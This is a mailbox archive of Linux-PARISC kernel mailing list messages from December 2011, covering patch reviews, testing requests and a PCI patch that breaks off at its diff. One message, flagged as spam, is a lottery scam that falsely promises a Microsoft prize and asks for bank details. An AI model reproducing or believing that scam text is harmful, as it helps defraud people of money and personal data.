	id S1751272Ab1LFQXD convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Dec 2011 11:23:03 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:49024 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751028Ab1LFQXC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Dec 2011 11:23:02 -0500
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id pB6GMkxI026481
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 6 Dec 2011 11:22:46 -0500
Original-Received: from redhat.com (vpn-202-41.tlv.redhat.com [10.35.202.41])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id pB6GMh5R030740;
	Tue, 6 Dec 2011 11:22:44 -0500
Content-Disposition: inline
In-Reply-To: <CANEJEGu0SD+z1ZvD05F0TzomZW9Lp-Cok4GL2eBiHQatW4+wPg@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4072
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4072>

On Tue, Dec 06, 2011 at 08:18:43AM -0800, Grant Grundler wrote:
> On Tue, Dec 6, 2011 at 3:06 AM, Michael S. Tsirkin <mst@redhat.com> w=
rote:
> > On Mon, Dec 05, 2011 at 10:23:17AM -0800, Grant Grundler wrote:
> ...
> >> I'm going to assume this is NOT a problem since any code that
> >> generates anything that tries to look like an INB/OUTB just won't
> >> compile on parisc. =A0I think removing the parisc specific definit=
ion
> >> and using the generic one instead looks fine to me. =A0But I'm not
> >> confident enough to offer a formal ACKed-by line. Sorry. :(
> >>
> >> cheers,
> >> grant
> >
> > How about a Tested-by line? I presume you have the hardware to
> > try this out?
>=20
> I do have the HW at home to test this...but it's not been powered up
> in 6+ months. I have to point dpkg at a new repository and update all
> the SW on the machine. If you don't mind waiting another week, I'll
> make time to do that later this week (or weekend).
>
> > You can also get the patches from my tree:
> > git://git.kernel.org/pub/scm/linux/kernel/git/mst/vhost.git linux-n=
ext
> > or from linux-next.
>=20
> That's easy enough - thanks!
> grant

Waiting for 3.4 window to open anyway, so yes that will be nice.
Thanks!

--=20
MST
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: make NO_IRQ 0 as it should be
Date: Wed, 07 Dec 2011 11:54:17 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <1323280457.3021.66.camel@dabdike>
References: <20111206112412.14035.13990.stgit@bob.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1323280467 25838 80.91.229.12 (7 Dec 2011 17:54:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 7 Dec 2011 17:54:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, jejb@parisc-linux.org,
	kyle@mcmartin.ca
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 07 18:54:23 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RYLhE-00057l-HS
	for glpp-linux-parisc@lo.gmane.org; Wed, 07 Dec 2011 18:54:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756709Ab1LGRyT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 7 Dec 2011 12:54:19 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:57746 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756684Ab1LGRyT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 7 Dec 2011 12:54:19 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 0BB918EE0C5;
	Wed,  7 Dec 2011 09:54:19 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id jnEVTK8+ipYQ; Wed,  7 Dec 2011 09:54:18 -0800 (PST)
Original-Received: from [192.168.2.11] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 69DA58EE0A5;
	Wed,  7 Dec 2011 09:54:18 -0800 (PST)
In-Reply-To: <20111206112412.14035.13990.stgit@bob.linux.org.uk>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4073
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4073>

On Tue, 2011-12-06 at 11:24 +0000, Alan Cox wrote:
> From: Alan Cox <alan@linux.intel.com>
> 
> PA-RISC doesn't use a real IRQ 0 and James says
> 
> "To be honest, we don't care very much.  Parisc interrupts are cascading
> and mostly software assigned (except our EIEM which we keep internal).
> We use a base offset at 16 or 64 (depending on GSC presence or not) so
> IRQs 0-15 aren't legal on parisc either (we frob some of the hard coded
> ISA interrupts on the WAX eisa bus).
> 
> We use NO_IRQ as an IRQ assignment error return and that's about it (and
> that error shouldn't ever really occur)."
> 
> Signed-off-by: Alan Cox <alan@linux.intel.com>
> ---
> 
>  arch/parisc/include/asm/irq.h |    2 +-
>  1 files changed, 1 insertions(+), 1 deletions(-)
> 
> 
> diff --git a/arch/parisc/include/asm/irq.h b/arch/parisc/include/asm/irq.h
> index 1073599..fcf6edd 100644
> --- a/arch/parisc/include/asm/irq.h
> +++ b/arch/parisc/include/asm/irq.h
> @@ -10,7 +10,7 @@
>  #include <linux/cpumask.h>
>  #include <asm/types.h>
>  
> -#define NO_IRQ		(-1)
> +#define NO_IRQ		0

Unfortunately, it's not quite as simple as this.  There's one use of
NO_IRQ as an error return in the EIEM code, which returns the internal
line number (which run 0-32/64 ... I'll have to fix those before this
can be done.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Y/Msn" <noreply@yahoo.com>
Newsgroups: gmane.spam.detected,gmane.linux.ports.parisc
Subject: Final Notice
Date: Thu, 8 Dec 2011 18:54:33 +0200 (EET)
Lines: 34
Approved: news@gmane.org
Message-ID: <36b01e96b9a62883bf3b7b92a74c358d.squirrel__23637.7466623255$1323396493$gmane$org@webmail.infoseka.lt>
Reply-To: barclays_transfer_group_dept@hotmail.com
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=lt_LT
Content-Transfer-Encoding: 8bit
X-Trace: dough.gmane.org 1323396494 4481 80.91.229.12 (9 Dec 2011 02:08:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 9 Dec 2011 02:08:14 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 09 03:08:10 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RYpsf-0007jD-DT
	for glpp-linux-parisc@lo.gmane.org; Fri, 09 Dec 2011 03:08:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753598Ab1LICII (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 8 Dec 2011 21:08:08 -0500
Original-Received: from pserver.infoseka.lt ([78.158.28.5]:49167 "EHLO infoseka.lt"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1751721Ab1LICIH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 8 Dec 2011 21:08:07 -0500
Original-Received: from webmail.infoseka.lt (localhost [127.0.0.1])
	by infoseka.lt (Postfix) with ESMTP id E4FB040619D;
	Thu,  8 Dec 2011 18:54:32 +0200 (EET)
Original-Received: from 41.71.144.82
        (SquirrelMail authenticated user p0768)
        by webmail.infoseka.lt with HTTP;
        Thu, 8 Dec 2011 18:54:33 +0200 (EET)
User-Agent: SquirrelMail/1.4.15
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 6.1 points;
 *  3.0 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
 *      [Blocked - see <http://www.spamcop.net/bl.shtml?78.158.28.5>]
 *  0.6 RCVD_IN_SORBS_WEB RBL: SORBS: sender is a abuseable web server
 *      [78.158.28.5 listed in dnsbl.sorbs.net]
 *  2.0 URIBL_SC_SWINOG URI's listed in uribl.swinog.ch.
 *      [URIs: 1.name]
 *  1.6 DEAR_SOMETHING BODY: Contains 'Dear (something)'
 * -1.1 BAYES_05 BODY: Bayesian spam probability is 1 to 5%
 *      [score: 0.0289]
Xref: news.gmane.org gmane.spam.detected:4919410 gmane.linux.ports.parisc:4074
Archived-At: <http://permalink.gmane.org/gmane.spam.detected/4919410>

Dear Internet User!

Congratulations! you and your family have won 500,000 GBP from the
Microsoft Family Benefit 2011 for being a regular web user.Your winnings
has been
submitted to BARCLAYS BANK OF SCOTLAND. Contact the Bank with your full
info for claims.:

Send mail to the Transfer Manager:

Transfer Manager: Robert Williams
Email: barclays_transfer_group_dept@hotmail.com

Bank Name: Barclays Bank Of Scotland

1.Name:
2.Address:
3.Telephone Number:
4.Sex:
Account Name:
Account Number:
Bank Name:


Please use this as a subject of contact : TRANSFER/NUM/1090.

Congratulations!!!
Microsoft Window

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 61/62] highmem: kill all __kmap_atomic()
Date: Fri, 9 Dec 2011 16:07:22 +0000
Lines: 7
Approved: news@gmane.org
Message-ID: <20111209160722.GB30988@linux-mips.org>
References: <1322371662-26166-1-git-send-email-amwang@redhat.com>
 <1322371662-26166-62-git-send-email-amwang@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1323447091 26785 80.91.229.12 (9 Dec 2011 16:11:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 9 Dec 2011 16:11:31 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, akpm@linux-foundation.org,
        Russell King <linux@arm.linux.org.uk>,
        David Howells <dhowells@redhat.com>,
        Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Metcalf <cmetcalf@tilera.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Nicolas Pitre <nicolas.pitre@linaro.org>,
        James Bottomley <James.Bottomley@suse.de>,
        Paul Gortmaker <paul.gortmaker@windriver.com>,
        Christoph Lameter <cl@linux.com>, Tejun Heo <tj@kernel.
To: Cong Wang <amwang@redhat.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Dec 09 17:11:20 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RZ32d-0004VG-V3
	for sgi-linux-mips@gmane.org; Fri, 09 Dec 2011 17:11:20 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:60648 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1903732Ab1LIQLT (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 9 Dec 2011 17:11:19 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 09 Dec 2011 17:11:01 +0100 (CET)
Original-Received: from h5.dl5rb.org.uk ([81.2.74.5]:57382 "EHLO linux-mips.org"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S1903731Ab1LIQK5 (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Fri, 9 Dec 2011 17:10:57 +0100
Original-Received: from duck.linux-mips.net (duck.linux-mips.net [127.0.0.1])
        by duck.linux-mips.net (8.14.4/8.14.4) with ESMTP id pB9G7VIw008738;
        Fri, 9 Dec 2011 16:07:31 GMT
Original-Received: (from ralf@localhost)
        by duck.linux-mips.net (8.14.4/8.14.4/Submit) id pB9G7MwM008731;
        Fri, 9 Dec 2011 16:07:22 GMT
Content-Disposition: inline
In-Reply-To: <1322371662-26166-62-git-send-email-amwang@redhat.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-archive-position: 32069
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33170 gmane.linux.kernel:1227021 gmane.linux.ports.arm.kernel:143479 gmane.linux.ports.parisc:4076 gmane.linux.ports.ppc64.devel:78995 gmane.linux.ports.sparc:15545
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33170>

On Sun, Nov 27, 2011 at 01:27:41PM +0800, Cong Wang wrote:

Acked-by: Ralf Baechle <ralf@linux-mips.org>

  Ralf



From - Thu Nov 08 21:07:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Binutils TLS bug fix
Date: Sun, 11 Dec 2011 11:09:04 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <BLU0-SMTP4193186439720F1C354DAF97BF0@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1323619768 26575 80.91.229.12 (11 Dec 2011 16:09:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 11 Dec 2011 16:09:28 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 11 17:09:24 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RZlxs-0000Sn-5b
	for glpp-linux-parisc@lo.gmane.org; Sun, 11 Dec 2011 17:09:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752054Ab1LKQJX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 11 Dec 2011 11:09:23 -0500
Original-Received: from blu0-omc4-s24.blu0.hotmail.com ([65.55.111.163]:27242 "EHLO
	blu0-omc4-s24.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750867Ab1LKQJW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 11 Dec 2011 11:09:22 -0500
Original-Received: from BLU0-SMTP41 ([65.55.111.137]) by blu0-omc4-s24.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 11 Dec 2011 08:09:21 -0800
X-Originating-IP: [174.92.90.153]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.90.153]) by BLU0-SMTP41.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 11 Dec 2011 08:09:21 -0800
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 11 Dec 2011 16:09:21.0327 (UTC) FILETIME=[3E28F3F0:01CCB81F]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4077
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4077>

http://sourceware.org/ml/binutils/2011-12/msg00131.html

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH-RFC 07/10] parisc: switch to GENERIC_PCI_IOMAP
Date: Thu, 15 Dec 2011 18:11:26 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <CANEJEGtRHNpZ2AN5di3joGa2JjgSiBbUjiTVfjkC8p1hE8T6cw@mail.gmail.com>
References: <cover.1322163031.git.mst@redhat.com>
	<9dab609cdf0c22a35f58b0f821a10230a487480d.1322163031.git.mst@redhat.com>
	<20111204104817.GI15464@redhat.com>
	<1323008554.3003.4.camel@dabdike.int.hansenpartnership.com>
	<20111204143000.GB21238@redhat.com>
	<CANEJEGuHpT-SWEbRVN0WXbOSBcbP8HDhFjKjxUfShyV84pqazw@mail.gmail.com>
	<20111206110608.GA10379@redhat.com>
	<CANEJEGu0SD+z1ZvD05F0TzomZW9Lp-Cok4GL2eBiHQatW4+wPg@mail.gmail.com>
	<20111206162434.GB3245@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: dough.gmane.org 1324001495 30197 80.91.229.12 (16 Dec 2011 02:11:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 16 Dec 2011 02:11:35 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 16 03:11:30 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RbNGk-0006tK-JH
	for glpp-linux-parisc@lo.gmane.org; Fri, 16 Dec 2011 03:11:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759965Ab1LPCL3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Dec 2011 21:11:29 -0500
Original-Received: from mail-qw0-f53.google.com ([209.85.216.53]:61247 "EHLO
	mail-qw0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756420Ab1LPCL3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Dec 2011 21:11:29 -0500
Original-Received: by qadb15 with SMTP id b15so1690716qad.19
        for <linux-parisc@vger.kernel.org>; Thu, 15 Dec 2011 18:11:28 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc
         :x-system-of-record:content-type;
        bh=1nMpRhnZMH4na2NPDWmFGxaKwpaq3ThdRIuSAzgL1VU=;
        b=Wczkoz8hFWEBoOThxJv3Z+Y/WQJup0/dK5CGwQhAnb9WGRrIkniq72cP67J21sy0DN
         fmKL7dPC0Ye14j2cg2Aw==
Original-Received: by 10.224.195.10 with SMTP id ea10mr9292205qab.16.1324001486991;
        Thu, 15 Dec 2011 18:11:26 -0800 (PST)
Original-Received: by 10.224.195.10 with SMTP id ea10mr9292184qab.16.1324001486855;
 Thu, 15 Dec 2011 18:11:26 -0800 (PST)
Original-Received: by 10.229.90.151 with HTTP; Thu, 15 Dec 2011 18:11:26 -0800 (PST)
In-Reply-To: <20111206162434.GB3245@redhat.com>
X-Google-Sender-Auth: YzkIj82ZRH-mh_yWsaguPB_bdTA
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4080
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4080>

On Tue, Dec 6, 2011 at 8:24 AM, Michael S. Tsirkin <mst@redhat.com> wrote:
...
>> I do have the HW at home to test this...but it's not been powered up
>> in 6+ months. I have to point dpkg at a new repository and update all
>> the SW on the machine. If you don't mind waiting another week, I'll
>> make time to do that later this week (or weekend).
>>
>> > You can also get the patches from my tree:
>> > git://git.kernel.org/pub/scm/linux/kernel/git/mst/vhost.git linux-next
>> > or from linux-next.
>>
>> That's easy enough - thanks!
>> grant
>
> Waiting for 3.4 window to open anyway, so yes that will be nice.

Michael,
Just an update that I haven't forgotten your request. I tried to
update the machine on Monday and the current state of hppa for
debian-ports is dselect can't resolve dependencies on versions of
packages because those versions don't exist for hppa. I've just asked
for help with this on debian-hppa mailing list and will see if we can
get this machine updated.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci
Subject: [PATCH 6/6] parisc/PCI: use list_for_each_entry() for bus->devices
	traversal
Date: Fri, 16 Dec 2011 15:32:00 -0700
Lines: 73
Approved: news@gmane.org
Message-ID: <20111216223200.5963.79616.stgit@bhelgaas.mtv.corp.google.com>
References: <20111216223043.5963.87534.stgit@bhelgaas.mtv.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1324074731 22978 80.91.229.12 (16 Dec 2011 22:32:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 16 Dec 2011 22:32:11 +0000 (UTC)
Cc: linux-pci@vger.kernel.org, linux-parisc@vger.kernel.org
To: Jesse Barnes <jbarnes@virtuousgeek.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 16 23:32:06 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RbgJx-0008MJ-4G
	for glpp-linux-parisc@lo.gmane.org; Fri, 16 Dec 2011 23:32:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760924Ab1LPWcE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 Dec 2011 17:32:04 -0500
Original-Received: from mail-fx0-f74.google.com ([209.85.161.74]:49339 "EHLO
	mail-fx0-f74.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752591Ab1LPWcD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 Dec 2011 17:32:03 -0500
Original-Received: by faar15 with SMTP id r15so137245faa.1
        for <linux-parisc@vger.kernel.org>; Fri, 16 Dec 2011 14:32:01 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding;
        bh=ZZbzP1wfKzSnrJwZZKL/yi9fmC6mwbjrF81dDUR2rXU=;
        b=xdWw5IpQyEaXfKT4osLHwOC7wks3c8f+CYapdqv9o3blXFnXL7XiLWzx9IvqCOTFZQ
         8+eXq+brop4+N1jVMGWQ==
Original-Received: by 10.213.110.14 with SMTP id l14mr208624ebp.8.1324074721182;
        Fri, 16 Dec 2011 14:32:01 -0800 (PST)
Original-Received: by 10.213.110.14 with SMTP id l14mr208614ebp.8.1324074720923;
        Fri, 16 Dec 2011 14:32:00 -0800 (PST)
Original-Received: from hpza9.eem.corp.google.com ([74.125.121.33])
        by gmr-mx.google.com with ESMTPS id v41si445226eea.2.2011.12.16.14.32.00
        (version=TLSv1/SSLv3 cipher=AES128-SHA);
        Fri, 16 Dec 2011 14:32:00 -0800 (PST)
Original-Received: from bhelgaas.mtv.corp.google.com (bhelgaas.mtv.corp.google.com [172.18.96.155])
	by hpza9.eem.corp.google.com (Postfix) with ESMTP id B641E5C0050;
	Fri, 16 Dec 2011 14:32:00 -0800 (PST)
Original-Received: from bhelgaas.mtv.corp.google.com (unknown [IPv6:::1])
	by bhelgaas.mtv.corp.google.com (Postfix) with ESMTP id 1C42A18273A;
	Fri, 16 Dec 2011 14:32:00 -0800 (PST)
In-Reply-To: <20111216223043.5963.87534.stgit@bhelgaas.mtv.corp.google.com>
User-Agent: StGit/0.15
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4081 gmane.linux.kernel.pci:12904
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4081>

Replace open-coded list traversal with list_for_each_entry().

Note that parisc lba_fixup_bus() previously enabled FBB/PERR/SERR
repeatedly on the same device instead of doing it on all devices on
the bus.

CC: linux-parisc@vger.kernel.org
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 drivers/parisc/dino.c    |    6 ++----
 drivers/parisc/lba_pci.c |    7 +++----
 2 files changed, 5 insertions(+), 8 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 7ff10c1..6f5bf3e 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
